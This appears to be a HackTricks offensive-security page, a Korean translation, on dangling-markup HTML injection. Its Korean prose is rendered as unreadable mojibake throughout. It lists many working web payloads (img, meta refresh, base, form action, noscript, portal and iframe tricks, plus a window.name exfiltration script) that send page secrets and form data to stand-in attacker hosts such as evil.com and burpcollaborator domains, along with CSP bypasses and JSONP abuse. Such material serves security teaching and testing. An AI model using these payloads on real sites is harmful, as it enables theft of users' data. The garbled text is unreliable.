Dangling Markup - HTML scriptless injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Resume
์ด ๊ธฐ์ ์ HTML injection์ด ๋ฐ๊ฒฌ๋์์ ๋ ์ฌ์ฉ์๋ก๋ถํฐ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด๋ XSS XSS ๋ฅผ ์
์ฉํ ๋ฐฉ๋ฒ์ ์ฐพ์ง ๋ชปํ์ง๋ง ์ผ๋ถ HTML ํ๊ทธ๋ฅผ ์ฃผ์
ํ ์ ์๋ ๊ฒฝ์ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค.
๋ํ HTML์ ๋น๋ฐ์ด ํ๋ฌธ์ผ๋ก ์ ์ฅ๋์ด ์๊ณ ์ด๋ฅผ ํด๋ผ์ด์ธํธ์์ ์ ์ถํ๊ณ ์ถ๊ฑฐ๋, ์ผ๋ถ ์คํฌ๋ฆฝํธ ์คํ์ ์ค๋ํ๊ณ ์ถ์ ๋ ์ ์ฉํฉ๋๋ค.
์ฌ๊ธฐ์์ ์ธ๊ธ๋ ์ฌ๋ฌ ๊ธฐ์ ์ ์ ๋ณด๋ฅผ ์์์น ๋ชปํ ๋ฐฉ์์ผ๋ก ์ ์ถํ์ฌ ์ผ๋ถ Content Security Policy๋ฅผ ์ฐํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค (html ํ๊ทธ, CSS, http-meta ํ๊ทธ, ํผ, baseโฆ).
Main Applications
Stealing clear text secrets
ํ์ด์ง๊ฐ ๋ก๋๋ ๋ <img src='http://evil.com/log.cgi?๋ฅผ ์ฃผ์
ํ๋ฉด ํผํด์๋ ์ฃผ์
๋ img ํ๊ทธ์ ์ฝ๋ ๋ด์ ๋ค์ ์ธ์ฉ๋ถํธ ์ฌ์ด์ ๋ชจ๋ ์ฝ๋๋ฅผ ์ ์กํฉ๋๋ค. ๋ง์ฝ ๊ทธ ์กฐ๊ฐ์ ๋น๋ฐ์ด ํฌํจ๋์ด ์๋ค๋ฉด, ๋น์ ์ ๊ทธ๊ฒ์ ํ์น ๊ฒ์
๋๋ค(๋๋ธ ์ธ์ฉ๋ถํธ๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ์ ์์
์ ์ํํ ์ ์์ผ๋ฉฐ, ์ด๋ค ๊ฒ์ด ๋ ํฅ๋ฏธ๋ก์ธ์ง ์ดํด๋ณด์ธ์).
img ํ๊ทธ๊ฐ ๊ธ์ง๋ ๊ฒฝ์ฐ(CSP ๋๋ฌธ์ผ ์ ์์) <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Chrome๋ โ<โ ๋๋ โ\nโ์ด ํฌํจ๋ HTTP URL์ ์ฐจ๋จํฉ๋๋ค, ๋ฐ๋ผ์ โftpโ์ ๊ฐ์ ๋ค๋ฅธ ํ๋กํ ์ฝ ์คํด์ ์๋ํด ๋ณผ ์ ์์ต๋๋ค.
CSS @import๋ฅผ ์
์ฉํ ์๋ ์์ต๋๋ค(๋ชจ๋ ์ฝ๋๋ฅผ ์ ์กํ๋ฉฐ โ;โ๋ฅผ ์ฐพ์ ๋๊น์ง ๊ณ์ํฉ๋๋ค).
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
๋น์ ์ ๋ํ **<table**์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
<table background='//your-collaborator-id.burpcollaborator.net?'
<base ํ๊ทธ๋ฅผ ์ฝ์
ํ ์๋ ์์ต๋๋ค. ๋ชจ๋ ์ ๋ณด๋ ์ธ์ฉ์ด ๋ซํ ๋๊น์ง ์ ์ก๋์ง๋ง ์ผ๋ถ ์ฌ์ฉ์ ์ํธ์์ฉ์ด ํ์ํฉ๋๋ค(์ฌ์ฉ์๊ฐ ๋งํฌ๋ฅผ ํด๋ฆญํด์ผ ํ๋ฉฐ, ๊ธฐ๋ณธ ํ๊ทธ๊ฐ ๋งํฌ๊ฐ ๊ฐ๋ฆฌํค๋ ๋๋ฉ์ธ์ ๋ณ๊ฒฝํ๊ธฐ ๋๋ฌธ์
๋๋ค):
<base target=' <--- Injected
steal me'<b>test</b>
์์ ํ์น๊ธฐ
<base href="http://evil.com/" />
๊ทธ๋ฐ ๋ค์, ๋ฐ์ดํฐ๋ฅผ ๊ฒฝ๋ก๋ก ์ ์กํ๋ ํผ(<form action='update_profile.php'>)์ ์
์ฑ ๋๋ฉ์ธ์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํฉ๋๋ค.
ํผ ํ์น๊ธฐ 2
ํผ ํค๋๋ฅผ ์ค์ ํฉ๋๋ค: <form action='http://evil.com/log_steal'> ์ด๋ ๊ฒ ํ๋ฉด ๋ค์ ํผ ํค๋๊ฐ ๋ฎ์ด์ฐ์ฌ์ง๊ณ ํผ์ ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ๊ณต๊ฒฉ์์๊ฒ ์ ์ก๋ฉ๋๋ค.
ํผ ํ์น๊ธฐ 3
๋ฒํผ์ โformactionโ ์์ฑ์ ์ฌ์ฉํ์ฌ ์ ๋ณด๊ฐ ์ ์ก๋ URL์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค:
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ฌ์ฉํ์ฌ ์ ๋ณด๋ฅผ ํ์น ์ ์์ต๋๋ค.
์ด ๊ณต๊ฒฉ์ ์๋ฅผ ์ด ๋ฌธ์์์ ์ฐพ์ผ์ธ์.
๋ช ํํ ํ ์คํธ ๋น๋ฐ ํ์น๊ธฐ 2
๊ฐ์ฅ ์ต๊ทผ์ ์ธ๊ธ๋ ๊ธฐ์ ์ ์ฌ์ฉํ์ฌ ์์์ ํ์น๋ ๊ฒ(์ ์์ ํค๋ ์ฃผ์ )์ ํตํด ์๋ก์ด ์ ๋ ฅ ํ๋๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค:
<input type='hidden' name='review_body' value="
์ด ์ ๋ ฅ ํ๋๋ HTML์์ ์ด์ค ๋ฐ์ดํ ์ฌ์ด์ ๋ชจ๋ ๋ด์ฉ์ ํฌํจํ๊ณ ๋ค์ ์ด์ค ๋ฐ์ดํ๊น์ง ํฌํจํฉ๋๋ค. ์ด ๊ณต๊ฒฉ์ โStealing clear text secretsโ์ โStealing forms2โ๋ฅผ ํผํฉํฉ๋๋ค.
ํผ๊ณผ <option> ํ๊ทธ๋ฅผ ์ฃผ์
ํ์ฌ ๋์ผํ ์์
์ ์ํํ ์ ์์ต๋๋ค. ๋ซํ </option>์ด ๋ฐ๊ฒฌ๋ ๋๊น์ง ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ์ ์ก๋ฉ๋๋ค:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Form parameter injection
ํผ์ ๊ฒฝ๋ก๋ฅผ ๋ณ๊ฒฝํ๊ณ ์๋ก์ด ๊ฐ์ ์ฝ์ ํ์ฌ ์์์น ๋ชปํ ์์ ์ด ์ํ๋๋๋ก ํ ์ ์์ต๋๋ค:
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> โ Injected lines
<form action="/change_settings.php">
โ Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> โ Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
Stealing clear text secrets via noscript
<noscript></noscript>๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์ง์ํ์ง ์์ ๊ฒฝ์ฐ ๊ทธ ๋ด์ฉ์ ํด์ํ๋ ํ๊ทธ์
๋๋ค (Chrome์์ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ chrome://settings/content/javascript์์ ํ์ฑํ/๋นํ์ฑํํ ์ ์์ต๋๋ค).
๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ฌ์ดํธ๋ก ์ฃผ์ ์ง์ ์์ ํ๋จ๊น์ง ์น ํ์ด์ง์ ๋ด์ฉ์ ์ ์ถํ๋ ๋ฐฉ๋ฒ์ ๋ค์์ ์ฃผ์ ํ๋ ๊ฒ์ ๋๋ค:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypassing CSP with user interaction
From this portswiggers research you can learn that even from the most CSP restricted environments you can still exfiltrate data with some user interaction. In this occasion we are going to use the payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
ํฌ์์์๊ฒ ๋งํฌ๋ฅผ ํด๋ฆญํ๋๋ก ์์ฒญํ์ฌ ๋น์ ์ด ์ ์ดํ๋ ํ์ด๋ก๋๋ก ๋ฆฌ๋๋ ์
๋๋๋ก ํ์ญ์์ค. ๋ํ base ํ๊ทธ ๋ด์ target ์์ฑ์ ๋ค์ ๋จ์ผ ์ธ์ฉ๋ถํธ๊น์ง HTML ์ฝํ
์ธ ๋ฅผ ํฌํจํ ๊ฒ์์ ์ ์ํ์ญ์์ค.
์ด๋ก ์ธํด ๋งํฌ๊ฐ ํด๋ฆญ๋๋ฉด **window.name**์ ๊ฐ์ ๋ชจ๋ HTML ์ฝํ
์ธ ๊ฐ ๋ ๊ฒ์
๋๋ค. ๋ฐ๋ผ์ ํฌ์์๊ฐ ๋งํฌ๋ฅผ ํด๋ฆญํ์ฌ ์ ๊ทผํ๋ ํ์ด์ง๋ฅผ ์ ์ดํ๋ฏ๋ก ํด๋น **window.name**์ ์ ๊ทผํ๊ณ ๊ทธ ๋ฐ์ดํฐ๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
์คํด์ ์์ง๊ฐ ์๋ ์คํฌ๋ฆฝํธ ์ํฌํ๋ก์ฐ 1 - HTML ๋ค์์คํ์ด์ค ๊ณต๊ฒฉ
HTML ๋ด๋ถ์ ์๋ก์ด ํ๊ทธ์ ID๋ฅผ ์ฝ์ ํ์ฌ ๋ค์ ํ๊ทธ๋ฅผ ๋ฎ์ด์ฐ๊ณ ์คํฌ๋ฆฝํธ์ ํ๋ฆ์ ์ํฅ์ ๋ฏธ์น ๊ฐ์ ์ค์ ํฉ๋๋ค. ์ด ์์ ์์๋ ์ ๋ณด๊ฐ ๊ณต์ ๋ ๋์์ ์ ํํ๊ณ ์์ต๋๋ค:
<input type="hidden" id="share_with" value="fredmbogo" /> โ Injected markup ...
Share this status update with: โ Legitimate optional element of a dialog
<input id="share_with" value="" />
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
์คํด์ ์์ง๊ฐ ์๋ ์คํฌ๋ฆฝํธ ์ํฌํ๋ก์ฐ 2 - ์คํฌ๋ฆฝํธ ๋ค์์คํ์ด์ค ๊ณต๊ฒฉ
HTML ํ๊ทธ๋ฅผ ์ฝ์ ํ์ฌ ์๋ฐ์คํฌ๋ฆฝํธ ๋ค์์คํ์ด์ค ๋ด์ ๋ณ์๋ฅผ ์์ฑํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ด ๋ณ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ํ๋ฆ์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค:
<img id="is_public" /> โ Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) โ
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; โ Condition always evaluates to true ... }
JSONP ๋จ์ฉ
JSONP ์ธํฐํ์ด์ค๋ฅผ ์ฐพ์ผ๋ฉด ์์์ ๋ฐ์ดํฐ๋ก ์์์ ํจ์๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค:
<script src='/editor/sharing.js'>: โ Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: โ Injected JSONP call
set_sharing({ ... })
๋๋ ์ผ๋ถ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํด ๋ณผ ์๋ ์์ต๋๋ค:
<script src="/search?q=a&call=alert(1)"></script>
Iframe ๋จ์ฉ
์์ ๋ฌธ์๋ ๊ต์ฐจ ์ถ์ฒ ์ํฉ์์๋ ๋ถ๋ชจ์ location ์์ฑ์ ๋ณด๊ณ ์์ ํ ์ ์๋ ๋ฅ๋ ฅ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์ด๋ iframe ๋ด์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํ์ฌ ํด๋ผ์ด์ธํธ๋ฅผ ์์์ ํ์ด์ง๋ก ๋ฆฌ๋๋ ์
ํ ์ ์๊ฒ ํฉ๋๋ค:
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
์ด๊ฒ์ sandbox=' allow-scripts allow-top-navigation'์ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก ์ํํ ์ ์์ต๋๋ค.
iframe์ iframe name ์์ฑ์ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ํ์ด์ง์์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ ์ถํ๋ ๋ฐ ์ ์ฉ๋ ์ ์์ต๋๋ค. ์ด๋ HTML ์ฃผ์ ์ ์ ์ฉํ์ฌ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ iframe name ์์ฑ ์์ ๋ํ๋๊ฒ ํ๋ iframe์ ์์ฑํ ์ ์๊ธฐ ๋๋ฌธ์ด๋ฉฐ, ๊ทธ๋ฐ ๋ค์ ์ด๊ธฐ iframe์์ ํด๋น ์ด๋ฆ์ ์ ๊ทผํ์ฌ ์ ์ถํ ์ ์์ต๋๋ค.
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
๋ ๋ง์ ์ ๋ณด๋ https://portswigger.net/research/bypassing-csp-with-dangling-iframes๋ฅผ ํ์ธํ์ธ์.
<meta ๋จ์ฉ
**meta http-equiv**๋ฅผ ์ฌ์ฉํ์ฌ ์ฟ ํค ์ค์ : <meta http-equiv="Set-Cookie" Content="SESSID=1"> ๋๋ ๋ฆฌ๋๋ ์
์ํ(์ด ๊ฒฝ์ฐ 5์ด ํ): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />์ ๊ฐ์ ์ฌ๋ฌ ์์
์ ์ํํ ์ ์์ต๋๋ค.
์ด๋ http-equiv์ ๋ํ CSP๋ก ํํผํ ์ ์์ต๋๋ค ( Content-Security-Policy: default-src 'self';, ๋๋ Content-Security-Policy: http-equiv 'self';).
์๋ก์ด <portal HTML ํ๊ทธ
<portal ํ๊ทธ์ ์ทจ์ฝ์ ์ ๋ํ ๋งค์ฐ ํฅ๋ฏธ๋ก์ด ์ฐ๊ตฌ๋ฅผ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค.
์ด ๊ธ์ ์์ฑํ ๋น์ Chrome์์ chrome://flags/#enable-portals์์ portal ํ๊ทธ๋ฅผ ํ์ฑํํด์ผ ์๋ํฉ๋๋ค.
<portal src='https://attacker-server?
HTML ๋์
HTML์์ ์ฐ๊ฒฐ์ฑ์ ๋์ถํ๋ ๋ชจ๋ ๋ฐฉ๋ฒ์ด Dangling Markup์ ์ ์ฉํ์ง๋ ์์ง๋ง, ๋๋๋ก ๋์์ด ๋ ์ ์์ต๋๋ค. ์ฌ๊ธฐ์์ ํ์ธํ์ธ์: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
์ด๊ฒ์ dangling markup์ XS-Leaks์ ํผํฉ์ ๋๋ค. ํํธ์ผ๋ก๋ ์ทจ์ฝ์ ์ด ๊ฐ์ ์ถ์ฒ์ ํ์ด์ง์ HTML(ํ์ง๋ง JS๋ ์๋)์ ์ฃผ์ ํ ์ ์๊ฒ ํฉ๋๋ค. ๋ค๋ฅธ ํํธ์ผ๋ก๋ HTML์ ์ฃผ์ ํ ์ ์๋ ํ์ด์ง๋ฅผ ์ง์ ๊ณต๊ฒฉํ์ง ์๊ณ , ๋ค๋ฅธ ํ์ด์ง๋ฅผ ๊ณต๊ฒฉํฉ๋๋ค.
XS-Search/XS-Leaks
XS-Search๋ ์ฌ์ด๋ ์ฑ๋ ๊ณต๊ฒฉ์ ์ ์ฉํ์ฌ ๊ต์ฐจ ์ถ์ฒ ์ ๋ณด๋ฅผ ์ ์ถํ๋ ๋ฐ ์ด์ ์ ๋ง์ถ๊ณ ์์ต๋๋ค. ๋ฐ๋ผ์, ์ด๋ Dangling Markup๊ณผ๋ ๋ค๋ฅธ ๊ธฐ์ ์ด์ง๋ง, ์ผ๋ถ ๊ธฐ์ ์ HTML ํ๊ทธ์ ํฌํจ์ ์ ์ฉํฉ๋๋ค(JS ์คํ ์ฌ๋ถ์ ๊ด๊ณ์์ด), ์๋ฅผ ๋ค์ด CSS Injection ๋๋ Lazy Load Images.
๋ฌด์ฐจ๋ณ ๋์ ํ์ง ๋ชฉ๋ก
์ฐธ๊ณ ๋ฌธํ
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


